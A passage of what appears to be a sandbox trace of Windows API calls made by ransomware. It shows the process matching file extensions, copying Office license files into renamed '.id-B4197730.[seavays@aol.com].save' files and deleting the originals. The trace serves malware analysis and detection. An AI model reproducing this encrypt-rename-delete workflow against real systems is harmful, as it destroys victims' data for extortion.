office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 1 [0180.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0180.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0180.873] lstrlenW (lpString=".doc") returned 4 [0180.873] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0180.873] lstrlenW (lpString=".docx") returned 5 [0180.873] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0180.873] lstrlenW (lpString=".pdf") returned 4 [0180.873] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0180.873] lstrlenW (lpString=".xls") returned 4 [0180.873] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0180.874] lstrlenW (lpString=".xlsx") returned 5 [0180.874] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0180.874] lstrlenW (lpString=".ppt") returned 4 [0180.874] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0180.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0180.874] lstrlenW (lpString=".zip") returned 4 [0180.874] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0180.874] lstrlenW (lpString=".rar") returned 4 [0180.874] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0180.874] lstrlenW (lpString=".bz2") returned 4 [0180.874] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0180.874] lstrlenW (lpString=".7z") returned 3 [0180.874] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0180.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0180.874] lstrlenW (lpString=".dbf") returned 4 [0180.874] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0180.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0180.874] lstrlenW (lpString=".1cd") returned 4 [0180.874] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0180.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0180.874] lstrlenW (lpString=".jpg") returned 4 [0180.874] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0180.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0180.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0180.875] lstrlenW (lpString=".doc") returned 4 [0180.875] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0180.875] lstrlenW (lpString=".docx") returned 5 [0180.875] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0180.875] lstrlenW (lpString=".pdf") returned 4 [0180.875] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0180.875] lstrlenW (lpString=".xls") returned 4 [0180.875] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0180.875] lstrlenW (lpString=".xlsx") returned 5 [0180.875] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0180.875] lstrlenW (lpString=".ppt") returned 4 [0180.875] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0180.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0180.875] lstrlenW (lpString=".zip") returned 4 [0180.875] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0180.875] lstrlenW (lpString=".rar") returned 4 [0180.875] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0180.875] lstrlenW (lpString=".bz2") returned 4 [0180.875] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0180.875] lstrlenW (lpString=".7z") returned 3 [0180.875] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0180.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0180.875] lstrlenW (lpString=".dbf") returned 4 [0180.876] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0180.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0180.876] lstrlenW (lpString=".1cd") returned 4 [0180.876] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0180.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79 [0180.876] lstrlenW (lpString=".jpg") returned 4 [0180.876] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0180.876] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0180.876] lstrlenW (lpString="AccessR_OEM_Perp-pl.xrm-ms") returned 26 [0180.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0180.878] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=10639) returned 1 [0180.878] CloseHandle (hObject=0x544) returned 1 [0180.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 0x220 [0180.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0180.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0180.879] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.879] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.881] GetLastError () returned 0x0 [0180.881] ReadFile (in: hFile=0x544, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x298f, lpOverlapped=0x0) returned 1 [0180.883] WriteFile (in: hFile=0x36c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2990, lpOverlapped=0x0) returned 1 [0180.886] ReadFile (in: hFile=0x544, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.886] WriteFile (in: hFile=0x36c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x108, lpOverlapped=0x0) returned 1 [0180.886] SetEndOfFile (hFile=0x36c) returned 1 [0180.887] CloseHandle (hObject=0x36c) returned 1 [0180.887] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.887] SetEndOfFile (hFile=0x544) returned 1 [0181.429] CloseHandle (hObject=0x544) returned 1 [0181.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 1 [0181.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0181.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0181.431] lstrlenW (lpString=".doc") returned 4 [0181.431] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.431] lstrlenW (lpString=".docx") returned 5 [0181.431] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.431] lstrlenW (lpString=".pdf") returned 4 [0181.431] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.431] lstrlenW (lpString=".xls") returned 4 [0181.431] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.431] lstrlenW (lpString=".xlsx") returned 5 [0181.431] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.431] lstrlenW (lpString=".ppt") returned 4 [0181.431] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0181.431] lstrlenW (lpString=".zip") returned 4 [0181.431] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.431] lstrlenW (lpString=".rar") returned 4 [0181.431] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.431] lstrlenW (lpString=".bz2") returned 4 [0181.431] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.431] lstrlenW (lpString=".7z") returned 3 [0181.431] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0181.431] lstrlenW (lpString=".dbf") returned 4 [0181.431] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0181.432] lstrlenW (lpString=".1cd") returned 4 [0181.432] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0181.432] lstrlenW (lpString=".jpg") returned 4 [0181.432] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0181.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0181.432] lstrlenW (lpString=".doc") returned 4 [0181.432] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.432] lstrlenW (lpString=".docx") returned 5 [0181.432] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.432] lstrlenW (lpString=".pdf") returned 4 [0181.432] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.432] lstrlenW (lpString=".xls") returned 4 [0181.432] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.432] lstrlenW (lpString=".xlsx") returned 5 [0181.432] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.432] lstrlenW (lpString=".ppt") returned 4 [0181.432] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0181.432] lstrlenW (lpString=".zip") returned 4 [0181.433] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.433] lstrlenW (lpString=".rar") returned 4 [0181.433] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.433] lstrlenW (lpString=".bz2") returned 4 [0181.433] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.433] lstrlenW (lpString=".7z") returned 3 [0181.433] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0181.433] lstrlenW (lpString=".dbf") returned 4 [0181.433] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0181.433] lstrlenW (lpString=".1cd") returned 4 [0181.433] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0181.433] lstrlenW (lpString=".jpg") returned 4 [0181.433] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.433] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0181.433] lstrlenW (lpString="AccessR_Retail-ul-oob.xrm-ms") returned 28 [0181.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.438] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11579) returned 1 [0181.438] CloseHandle (hObject=0x544) returned 1 [0181.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 0x220 [0181.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.439] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.439] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0181.441] GetLastError () returned 0x0 [0181.441] ReadFile (in: hFile=0x544, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d3b, lpOverlapped=0x0) returned 1 [0181.444] WriteFile (in: hFile=0x434, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0181.446] ReadFile (in: hFile=0x544, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.446] WriteFile (in: hFile=0x434, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10c, lpOverlapped=0x0) returned 1 [0181.446] SetEndOfFile (hFile=0x434) returned 1 [0181.757] CloseHandle (hObject=0x434) returned 1 [0181.758] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.758] SetEndOfFile (hFile=0x544) returned 1 [0181.762] CloseHandle (hObject=0x544) returned 1 [0181.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 1 [0181.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0181.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0181.765] lstrlenW (lpString=".doc") returned 4 [0181.765] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.765] lstrlenW (lpString=".docx") returned 5 [0181.765] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.765] lstrlenW (lpString=".pdf") returned 4 [0181.765] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.765] lstrlenW (lpString=".xls") returned 4 [0181.765] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.765] lstrlenW (lpString=".xlsx") returned 5 [0181.765] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.765] lstrlenW (lpString=".ppt") returned 4 [0181.766] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0181.766] lstrlenW (lpString=".zip") returned 4 [0181.766] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.766] lstrlenW (lpString=".rar") returned 4 [0181.766] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.766] lstrlenW (lpString=".bz2") returned 4 [0181.766] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.766] lstrlenW (lpString=".7z") returned 3 [0181.766] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0181.766] lstrlenW (lpString=".dbf") returned 4 [0181.766] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0181.766] lstrlenW (lpString=".1cd") returned 4 [0181.766] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0181.766] lstrlenW (lpString=".jpg") returned 4 [0181.766] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0181.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0181.767] lstrlenW (lpString=".doc") returned 4 [0181.767] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.767] lstrlenW (lpString=".docx") returned 5 [0181.767] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.767] lstrlenW (lpString=".pdf") returned 4 [0181.767] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.767] lstrlenW (lpString=".xls") returned 4 [0181.767] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.767] lstrlenW (lpString=".xlsx") returned 5 [0181.767] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.767] lstrlenW (lpString=".ppt") returned 4 [0181.767] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0181.767] lstrlenW (lpString=".zip") returned 4 [0181.767] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.767] lstrlenW (lpString=".rar") returned 4 [0181.767] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.767] lstrlenW (lpString=".bz2") returned 4 [0181.767] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.767] lstrlenW (lpString=".7z") returned 3 [0181.767] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0181.767] lstrlenW (lpString=".dbf") returned 4 [0181.768] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0181.768] lstrlenW (lpString=".1cd") returned 4 [0181.768] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0181.768] lstrlenW (lpString=".jpg") returned 4 [0181.768] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.768] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0181.768] lstrlenW (lpString="AccessVL_KMS_Client-ppd.xrm-ms") returned 30 [0181.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.770] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=6794) returned 1 [0181.770] CloseHandle (hObject=0x544) returned 1 [0181.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 0x220 [0181.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.771] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.771] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0181.773] GetLastError () returned 0x0 [0181.773] ReadFile (in: hFile=0x544, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x1a8a, lpOverlapped=0x0) returned 1 [0181.775] WriteFile (in: hFile=0x434, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0181.777] ReadFile (in: hFile=0x544, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.777] WriteFile (in: hFile=0x434, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x110, lpOverlapped=0x0) returned 1 [0181.777] SetEndOfFile (hFile=0x434) returned 1 [0181.777] CloseHandle (hObject=0x434) returned 1 [0181.777] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.777] SetEndOfFile (hFile=0x544) returned 1 [0181.788] CloseHandle (hObject=0x544) returned 1 [0181.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: 